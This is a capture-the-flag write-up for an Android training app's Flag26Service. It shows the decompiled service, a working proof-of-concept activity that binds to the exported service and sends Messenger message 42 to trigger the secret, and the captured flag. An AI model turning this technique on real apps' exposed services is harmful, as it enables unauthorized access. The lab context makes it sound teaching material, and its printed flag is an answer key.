Analysis
Flag26Service
public class Flag26Service extends Service {
public static final int MSG_SUCCESS = 42;
public static String secret = UUID.randomUUID().toString();
final Messenger messenger = new Messenger(new IncomingHandler(Looper.getMainLooper()));
class IncomingHandler extends Handler {
String echo;
IncomingHandler(Looper looper) {
super(looper);
this.echo = "";
}
@Override // android.os.Handler
public void handleMessage(Message message) {
Log.i("Flag26Service", "handleMessage(" + message.what + ")");
if (message.what == 42) {
Flag26Service.this.success(this.echo);
} else {
super.handleMessage(message);
}
}
}
@Override // android.app.Service
public IBinder onBind(Intent intent) {
Log.i("Flag26Service", Utils.dumpIntent(this, intent));
return this.messenger.getBinder();
}
/* JADX INFO: Access modifiers changed from: private */
public void success(String str) {
Intent intent = new Intent(this, (Class<?>) Flag26Activity.class);
intent.putExtra("secret", secret);
intent.putExtra("what", 42);
intent.addFlags(268468224);
intent.putExtra("hideIntent", true);
startActivity(intent);
}
}As always the first thing we look for is how to fire success method, it’s getting called here:
public void handleMessage(Message message) {
Log.i("Flag26Service", "handleMessage(" + message.what + ")");
if (message.what == 42) {
Flag26Service.this.success(this.echo);
} else {
super.handleMessage(message);
}
}Pretty simple condition, we just want the what value to be 42, Let’s craft our POC!
Creating the POC
public class Flag26 extends AppCompatActivity {
// ServiceConnection handles the lifecycle of the connection to the remote service
private final ServiceConnection serviceConnection = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
Log.v("Tensai-POC", "Service Connected - Flag 26");
// 1. Create a Messenger using the IBinder received from the service
// This Messenger acts as a communication channel to the remote service
Messenger serviceMessenger = new Messenger(service);
// 2. Obtain a Message object.
// In this challenge, the service expects a specific 'what' value (e.g., 42) to release the flag.
Message msg = Message.obtain(null, 42);
try {
// 3. Send the message through the Messenger to the remote service
serviceMessenger.send(msg);
Toast.makeText(Flag26.this, "Message 42 sent via Messenger!", Toast.LENGTH_SHORT).show();
} catch (Exception e) {
Log.e("Tensai-POC", "Failed to send message", e);
e.printStackTrace();
}
}
@Override
public void onServiceDisconnected(ComponentName name) {
Log.v("Tensai-POC", "Service Disconnected");
}
};
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_flag26);
navigationDrawerHelper = new NavigationDrawerHelper(this);
navigationDrawerHelper.setupNavigationDrawer();
getSupportActionBar().setTitle("Flag 26");
Button button = findViewById(R.id.button_flag26);
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Log.v("Tensai-POC", "Initiating bind to Flag26Service");
// Define the explicit Intent to the target Service in the vulnerable app
Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface",
"io.hextree.attacksurface.services.Flag26Service");
// BIND_AUTO_CREATE will start the service if it's not already running
bindService(intent, serviceConnection, Context.BIND_AUTO_CREATE);
}
});
}
}Flag
HXT{message-say-whaaaat-aug2is}